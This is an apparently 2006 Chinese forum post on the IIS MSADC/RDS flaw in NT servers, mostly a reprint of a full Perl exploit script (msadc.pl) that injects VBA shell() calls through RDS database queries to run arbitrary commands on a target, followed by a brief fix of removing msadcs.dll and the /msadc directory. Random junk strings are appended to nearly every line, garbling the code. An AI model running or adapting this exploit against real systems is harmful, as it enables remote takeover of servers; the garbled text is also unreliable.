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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) &OQ37(<_  
L{1MyR7`I+  
涉及程序: q4=Gj`\43  
Microsoft NT server *eL&fC  
c|m*< i  
描述: NXo$rf:  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 4zKmoYt  
v+Mi"ZAd  
详细: hGh91c;4  
如果你没有时间读详细内容的话,就删除: l7 Pn5c  
c:\Program Files\Common Files\System\Msadc\msadcs.dll N iw~0"-V  
有关的安全问题就没有了。 "'U+T:S  
N!!=9'fGF  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 cZC%W!pT  
5QN~^  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 3N c#6VI  
关于利用ODBC远程漏洞的描述,请参看: "`g5iUHqUl  
g]&7c:/  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 1i3;P/  
tf[)Q:|  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 a;bmZh  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp ZDny=&>#  
o|`[X '  
这里不再论述。 g?B4b7II  
 B0 E`C  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: c(Ws3  
?, B4  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset OD[q u  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 3Gi^TXE]  
=sZ58xA  
$ /`X7a{  
#将下面这段保存为txt文件,然后: "perl -x 文件名" 3fGL(5|_  
4N6JKS  
#!perl rDI}X?JmX  
# Lmsc ~~  
# MSADC/RDS 'usage' (aka exploit) script fVf @Ngvu  
# (;VlK#rnC  
# by rain.forest.puppy ['m7Wry  
# $,u>,  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me #No3}O;"g  
# beta test and find errors! XM1; >#kz  
x994B@\j+  
use Socket; use Getopt::Std; .>#X*u  
getopts("e:vd:h:XR", \%args); 8ShIn@|32  
IC"Z.'Ph  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; ^+p7\D/E(  
M h"X9-Ot  
if (!defined $args{h} && !defined $args{R}) { 6mV-+CnYC  
print qq~ /U26IbJ  
Usage: msadc.pl -h <host> { -d <delay> -X -v } )iX2r{  
-h <host> = host you want to scan (ip or domain) 6}l[%8  
-d <seconds> = delay between calls, default 1 second s!<RWy+  
-X = dump Index Server path table, if available z@I'Ryalyc  
-v = verbose C&|K7Zp0v  
-e = external dictionary file for step 5  jYUN:  
(^pIB~.z  
Or a -R will resume a command session ?7=c `  
`6y=ky.,  
~; exit;} [[$dPa9  
eWWqK9B.-  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ] M`%@ps  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} qP{Fwn  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 7+9o<j@@o  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); HK NT. a  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 36e  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } r[g  
^'\JI  
if (!defined $args{R}){ $ret = &has_msadc; "UX/yLc3(  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} <*Nd%Ca  
@U+#@6  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" /|0xOiib  
. "cmd /c "; p0rmcP1Ln  
$in=<STDIN>; chomp $in;  LXoZ.3S  
$command="cmd /c " . $in ; mq}V @H5  
P{,A%t  
if (defined $args{R}) {&load; exit;} s<>d& W 0=  
qCkC 2Fy(  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; v]Fw~Y7l!  
&try_btcustmr; "%}24t%  
_?> x{![  
print "\nStep 2: Trying to make our own DSN...";  8 X Qo  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; {o SdVRI  
p$=Z0p4%LL  
print "\nStep 3: Trying known DSNs..."; U ,NGV0  
&known_dsn; YdDP;, DA  
 VBUrtx:  
print "\nStep 4: Trying known .mdbs..."; iGPrWe@.  
&known_mdb; OxQ5P;O  
W_L*S4 ~  
if (defined $args{e}){ w_h{6Kc<  
print "\nStep 5: Trying dictionary of DSN names..."; FI,K 0sO/|  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } jB<B_"  
oN2#Jh%dH  
print "Sorry Charley...maybe next time?\n"; sZI"2[bk  
exit; 0qINa:Ori  
EXMW,  
############################################################################## !9.k%B:  
IClw3^\l  
sub sendraw { # ripped and modded from whisker !YPwql(  
sleep($delay); # it's a DoS on the server! At least on mine... 7Kf  
my ($pstr)=@_; jW]"Um-]  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || >AFQm  
die("Socket problems\n"); <Drm#2x!E  
if(connect(S,pack "SnA4x8",2,80,$target)){ yg.o?eML  
select(S); $|=1; m%0_fNSJ  
print $pstr; my @in=<S>; N a$.VT  
select(STDOUT); close(S); =r4sF!g  
return @in;  ZC]|s[  
} else { die("Can't connect...\n"); }} NH;e|8  
f&j\gYWq  
############################################################################## X%mga~fB  
%~I&T". iC  
sub make_header { # make the HTTP request yAAV,?:o[  
my $msadc=<<EOT #+QJ5VI :  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 uI$n7\G!  
User-Agent: ACTIVEDATA ~!S/{Un   
Host: $ip Llkh kq_  
Content-Length: $clen @F] w]d  
Connection: Keep-Alive SwsJ<Dq^z  
wFF,rUV  
ADCClientVersion:01.06 eR4ib-nS  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 :zX^H9'E<(  
wz1nV}  
--!ADM!ROX!YOUR!WORLD! -oUGmV_  
Content-Type: application/x-varg #|K{txC   
Content-Length: $reqlen tm/=Oc1p  
,4S[<(T"  
EOT \=D+7'3  
; $msadc=~s/\n/\r\n/g; +oh|r'~  
return $msadc;} Nyt*mbd5 {  
k-H6c  
############################################################################## [;yKbw!C  
MJh.)kd$  
sub make_req { # make the RDS request _CPj] m{  
my ($switch, $p1, $p2)=@_; cRH(@b Xr  
my $req=""; my $t1, $t2, $query, $dsn; d5NE:%K  
sj4\lpZ3h  
if ($switch==1){ # this is the btcustmr.mdb query tA^+RO4  
$query="Select * from Customers where City=" . make_shell(); X{Fr  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . S{?l/*Il*_  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} aGBd~y@e  
'z^'+}iyv  
elsif ($switch==2){ # this is general make table query xT+#K5  
$query="create table AZZ (B int, C varchar(10))"; ^^&H:q  
$dsn="$p1";}  LtH j  
r95 ,X!  
elsif ($switch==3){ # this is general exploit table query e`co:HO`#  
$query="select * from AZZ where C=" . make_shell(); e/cHH3 4  
$dsn="$p1";} rrR"2WuGO  
<o9AjASv\,  
elsif ($switch==4){ # attempt to hork file info from index server :8(jhs  
$query="select path from scope()"; 8!0fT}  
$dsn="Provider=MSIDXS;";} 1$1>cuu  
3b\s;!  
elsif ($switch==5){ # bad query ]?)uYot  
$query="select"; c&1_lI,tH  
$dsn="$p1";} (V&8 WN  
pj<aMh  
$t1= make_unicode($query); Dt<MEpbur  
$t2= make_unicode($dsn); $ K+| bb  
$req = "\x02\x00\x03\x00"; { TI,|'>5[  
$req.= "\x08\x00" . pack ("S1", length($t1)); +_ /ys!  
$req.= "\x00\x00" . $t1 ; L){V(*K '  
$req.= "\x08\x00" . pack ("S1", length($t2)); xe^M2$clb\  
$req.= "\x00\x00" . $t2 ; F53 .g/[  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; Z'`\N@c#  
return $req;} Xq )7Im}?  
jI'?7@32`  
############################################################################## vmEn$`&2t  
H\V?QDn  
sub make_shell { # this makes the shell() statement ? A;RTM  
return "'|shell(\"$command\")|'";} O:8 u^ TP  
h<)ceD<,  
############################################################################## qE3Ud:j  
R(pQu! K4  
sub make_unicode { # quick little function to convert to unicode l?$X.Cw X  
my ($in)=@_; my $out; 6eUGE4NF(  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } M*bsA/Z  
return $out;} 2+I5VPf  
[u;(4sa}  
############################################################################## H>D sAHS  
.wp[uLE  
sub rdo_success { # checks for RDO return success (this is kludge) cLp_\\  
my (@in) = @_; my $base=content_start(@in); 5 =8v\q?)c  
if($in[$base]=~/multipart\/mixed/){ G~DHNO6  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 50dN~(;p  
return 0;} IP$eJL[&D"  
JBA{i45x  
############################################################################## xv Xci W  
8\9W:D@"x  
sub make_dsn { # this makes a DSN for us kssRwe%>;  
my @drives=("c","d","e","f"); u$[&'D6  
print "\nMaking DSN: "; lAA&#-#YG  
foreach $drive (@drives) { bDIhI}P  
print "$drive: "; yUf`L=C:  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . H;NAS/OhS  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ?]bx]Y;  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); ZbVn"he  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; % >a /m.$  
return 0 if $2 eq "404"; # not found/doesn't exist y`8U0TE3R  
if($2 eq "200") { Ym"^Ds}  
foreach $line (@results) { ]hy@5Jyh  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} Du +_dr^4  
} return 0;} QHja4/  
fd #QCs  
############################################################################## xjF>AAM_Px  
g]JRAM  
sub verify_exists { 8RuW[T?  
my ($page)=@_; GOGS"q  
my @results=sendraw("GET $page HTTP/1.0\n\n"); X^dasU{*  
return $results[0];} 0sA`})Dk  
~8 UMwpl-  
##############################################################################  AV|:v3  
{X2uFw Gi  
sub try_btcustmr { 5D=U.UdR  
my @drives=("c","d","e","f"); ]@cI_n  
my @dirs=("winnt","winnt35","winnt351","win","windows"); d&L  
r_+!3   
foreach $dir (@dirs) { olr#3te  
print "$dir -> "; # fun status so you can see progress N.+A-[7,W  
foreach $drive (@drives) { >TM{2b,(p  
print "$drive: "; # ditto [O'aka Q  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; Y@k=m )zE  
$reqlenlen=length( "$reqlen" ); o\ce|Dzt  
$clen= 206 + $reqlenlen + $reqlen; ?Fl O,|   
9{ge U9&Z  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); nh0gT>a>@  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} <+r~?X_  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} 8+7*> FD)1  
ns~bz-n  
############################################################################## AxH`4=3<  
BMQ4i&kF|  
sub odbc_error { ~N}Zr$D  
my (@in)=@_; my $base; 6AdUlPM  
my $base = content_start(@in); x5xMr.vm  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this Pzd!"Gl9  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; A'uaR?  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; /=l!F'  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; l&e{GHz  
return $in[$base+4].$in[$base+5].$in[$base+6];} =`>ei  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 6:8Nz   
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . >'=9sCi  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} >EA\KrjW  
tUZfQ  
############################################################################## G9xO>Xp^Al  
LttA8hf5q?  
sub verbose { 8-H:5E 4Y  
my ($in)=@_; +A1*e+/b\  
return if !$verbose; gBWr)R  
print STDOUT "\n$in\n";} =Ez@kTvOs  
|H,WFw1%}  
############################################################################## [>_zV.X  
9bRUN<  
sub save { GutiqVP:B  
my ($p1, $p2, $p3, $p4)=@_; w(Tr ,BFF  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; uVhzJu.  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; B 5qy4MFWs  
close OUT;} e2G;_:  
pRxVsOb  
############################################################################## Isvb;VT9L  
pbqk  
sub load { T*Ge67  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 4JXvP1`  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); -OmpUv-O"  
@p=<IN>; close(IN); 1#;^ Z3  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); =_3rc\0  
$target= inet_aton($ip) || die("inet_aton problems"); +\dKe[j{g  
print "Resuming to $ip ..."; C2zKt/)A  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; FYu30  
if($p[1]==1) { qf ]le]J  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; I*JJvqh  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; vaHtWz!P  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); Uc ,..  
if (rdo_success(@results)){print "Success!\n";} a{}#t}  
else { print "failed\n"; verbose(odbc_error(@results));}} ps8tr:T^=  
elsif ($p[1]==3){ B<Cg_C  
if(run_query("$p[3]")){ 2'OY,Ooe  
print "Success!\n";} else { print "failed\n"; }} (E,[Ad,$  
elsif ($p[1]==4){ Unq~lt%2  
if(run_query($drvst . "$p[3]")){ nFI<Te^)  
print "Success!\n"; } else { print "failed\n"; }} t5i58@{~  
exit;} :kE*  
(M u;U!M"P  
############################################################################## hMvJNI6O  
kEAF1RP:  
sub create_table { r~7}w4U  
my ($in)=@_; n"}*C|(k  
$reqlen=length( make_req(2,$in,"") ) - 28; bUM4^m  
$reqlenlen=length( "$reqlen" ); Wlq3r#  
$clen= 206 + $reqlenlen + $reqlen; "+`u ]  
my @results=sendraw(make_header() . make_req(2,$in,"")); "Y5 :{Kj  
return 1 if rdo_success(@results); cD!E.2[  
my $temp= odbc_error(@results); verbose($temp); c05-1  
return 1 if $temp=~/Table 'AZZ' already exists/; _*{Lha  
return 0;} vr?u=_%Z  
Pk(%=P ,  
############################################################################## 9&Y|,&W  
O8v9tGZoh  
sub known_dsn { R47y/HG,  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go S9nn^vsK  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", UA]T7r@  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 1=9GV+`n  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); }hm_Ws  
 5 b,|6  
foreach $dSn (@dsns) { ypemp=+(r  
print "."; -`z%<)!Y  
next if (!is_access("DSN=$dSn")); n_Y7*3/b-o  
if(create_table("DSN=$dSn")){ 0Krh35R_)F  
print "$dSn successful\n"; qkp0'f*}  
if(run_query("DSN=$dSn")){ $T66%wX  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { o /1+ }f  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 0Y0`$   
nra)t|m  
############################################################################## -k2|`t _  
?|}qT05  
sub is_access { d ( ru5*p  
my ($in)=@_; ;l0%yg/}  
$reqlen=length( make_req(5,$in,"") ) - 28; %BMlc m7Ec  
$reqlenlen=length( "$reqlen" ); :f_oN3F p  
$clen= 206 + $reqlenlen + $reqlen; 0yMHU[):~  
my @results=sendraw(make_header() . make_req(5,$in,"")); %z-so?gF  
my $temp= odbc_error(@results); -byaV;T?"  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); hgDFhbHtd6  
return 0;} >o& %via}  
?8< =.,r  
############################################################################## I 0x;rP  
S5Pn6'w  
sub run_query { y@2"[fo3~  
my ($in)=@_; U,fPG/9  
$reqlen=length( make_req(3,$in,"") ) - 28; vflC{,{=k>  
$reqlenlen=length( "$reqlen" ); >zw@!1{1  
$clen= 206 + $reqlenlen + $reqlen; hPGDN\#LD  
my @results=sendraw(make_header() . make_req(3,$in,"")); w~pe?j_F$  
return 1 if rdo_success(@results); oOubqx  
my $temp= odbc_error(@results); verbose($temp); e}7!A  
return 0;} =;) =,+V~q  
Buq(L6P9r  
############################################################################## 3A~<|<}t  
i$ hWX4L  
sub known_mdb { QR~4Fe  
my @drives=("c","d","e","f","g"); n+<  
my @dirs=("winnt","winnt35","winnt351","win","windows"); jeA2y jAC  
my $dir, $drive, $mdb; tux`-F  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; "A~D(1K  
8ql<7RTM!  
# this is sparse, because I don't know of many SJ;{  Hg  
my @sysmdbs=( "\\catroot\\icatalog.mdb", _F4=+dT|  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", \'('HFr,  
"\\system32\\certmdb.mdb", ~d,$ nZ"z  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% `qCL&(`%  
4 CiRh  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", /!6 VP |  
"\\cfusion\\cfapps\\forums\\forums_.mdb", H0t#J  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 42,dHYdt  
"\\cfusion\\cfapps\\security\\realm_.mdb", u%1JdEWZd  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", Yb[)ETf^  
"\\cfusion\\database\\cfexamples.mdb", ~+Cl9:4T  
"\\cfusion\\database\\cfsnippets.mdb", rTJqw@]#WH  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", H+gB|  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", Ro<5c_k  
"\\cfusion\\brighttiger\\database\\cleam.mdb", L >hLYIW  
"\\cfusion\\database\\smpolicy.mdb", M\JAB ;A  
"\\cfusion\\database\cypress.mdb", n<b}6L}  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 3|)cT1ej  
"\\website\\cgi-win\\dbsample.mdb", A5 4u}  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", j!;E>`g  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" ma) + G!  
); #these are just ~]<VEji  
foreach $drive (@drives) { a?Y>hvI  
foreach $dir (@dirs){ }"%mP 4]&  
foreach $mdb (@sysmdbs) { < %<nh`D  
print "."; <1x u&Z7  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ :8N by$#V  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; E0!0 uSg&  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ V}Q`dEk2r  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; k{|> !(Ax  
} else { print "Something's borked. Use verbose next time\n"; }}}}} h:FN&E c}  
R]>0A3P  
foreach $drive (@drives) { tF<&R& =  
foreach $mdb (@mdbs) { !Bg^-F:N  
print "."; Su +<mW  
if(create_table($drv . $drive . $dir . $mdb)){ NQiu>Sg  
print "\n" . $drive . $dir . $mdb . " successful\n";  zNn  
if(run_query($drv . $drive . $dir . $mdb)){ ?LvU7  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; [ {vX*q 3B  
} else { print "Something's borked. Use verbose next time\n"; }}}} =W"T=p*j  
} 30sA\TZ  
AxO.adQE%  
############################################################################## qzZ;{>_f  
oGbh *  
sub hork_idx { "dYT>w  
print "\nAttempting to dump Index Server tables...\n"; BPOT!-  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; <@4V G  
$reqlen=length( make_req(4,"","") ) - 28; UQ)^`Zj  
$reqlenlen=length( "$reqlen" ); %Br1b6 V  
$clen= 206 + $reqlenlen + $reqlen; {`> pigo  
my @results=sendraw2(make_header() . make_req(4,"","")); /%{CJ0Y  
if (rdo_success(@results)){ 0dD.xuor  
my $max=@results; my $c; my %d; hX-^h2eV  
for($c=19; $c<$max; $c++){ rCA0c8  
$results[$c]=~s/\x00//g; ICG:4n(,  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; pk;S"cnk  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; GQjU="+  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; m>!o Yy_  
$d{"$1$2"}="";} :r:x|[3.  
foreach $c (keys %d){ print "$c\n"; } C&EA@U5X^  
} else {print "Index server doesn't seem to be installed.\n"; }} AnZy o a  
~~p)_  
############################################################################## }<'ki ;  
tv]9n8v  
sub dsn_dict { =*6H!bzX  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 9Nz}'a;?>  
while(<IN>){ 4>B=k  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; (Bpn9}F-V.  
next if (!is_access("DSN=$dSn")); DD>n-8M@>  
if(create_table("DSN=$dSn")){ .H&XP W  
print "$dSn successful\n"; sYk#XNH  
if(run_query("DSN=$dSn")){ !9V; 8g  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { VPVg \K{  
print "Something's borked. Use verbose next time\n";}}} .+lx}#-#  
print "\n"; close(IN);} tTt}=hQpgX  
c2Y\bKeN  
############################################################################## e%7#e%1s  
|gT8QP  
sub sendraw2 { # ripped and modded from whisker .i#'IS0c  
sleep($delay); # it's a DoS on the server! At least on mine... e_S,N0  
my ($pstr)=@_; (8NE'd8  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 3_{rXtT)'  
die("Socket problems\n"); usi3z9P>n  
if(connect(S,pack "SnA4x8",2,80,$target)){ Y|KT3  
print "Connected. Getting data"; Cw5 B p9  
open(OUT,">raw.out"); my @in; nLrCy5R:  
select(S); $|=1; print $pstr; @j(2tJ,w  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 6"r _Y7%  
close(OUT); select(STDOUT); close(S); return @in;  W}Rzn  
} else { die("Can't connect...\n"); }} g<8Oezi 65  
2';{o=TXV  
############################################################################## >I+p;V$@  
T*(mi{[T  
sub content_start { # this will take in the server headers ;j<#VS-]  
my (@in)=@_; my $c; q[. p(6:  
for ($c=1;$c<500;$c++) {  -f<}lhmQ  
if($in[$c] =~/^\x0d\x0a/){ 8\?H`NN  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } Z:,`hW*A6  
else { return $c+1; }}} }+)q/]%  
return -1;} # it should never get here actually [BEQ ~A_I  
=&: |a$C  
############################################################################## %."w]fy>P  
\@{TF((Y  
sub funky { WZviC_  
my (@in)=@_; my $error=odbc_error(@in); $L'[_J  
if($error=~/ADO could not find the specified provider/){ F$YT4414  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; # 3FsK  
exit;} O6\c1ha  
if($error=~/A Handler is required/){ A":cS }Ui  
print "\nServer has custom handler filters (they most likely are patched)\n"; v*OT[l7  
exit;} ))7CqN  
if($error=~/specified Handler has denied Access/){ d^5x@E_Td  
print "\nServer has custom handler filters (they most likely are patched)\n"; .W\x{h  
exit;}} PM)nw;nS  
yy`XtJBWWs  
############################################################################## dvAz}3p0]  
^--8 cLB n  
sub has_msadc { VLbbn  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); (L W2S;-  
my $base=content_start(@results); 4S* X=1  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); !R[~Z7b6  
return 0;} @"aqnj>+  
(De>k8  
######################## 3/,}&SX  
m mH xPd  
+Ur75YPh  
解决方案: X#fjIrn  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll {s:"mkR  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 Qs<L$"L1  
NLt"yD3t  
拿出来充数 哈哈
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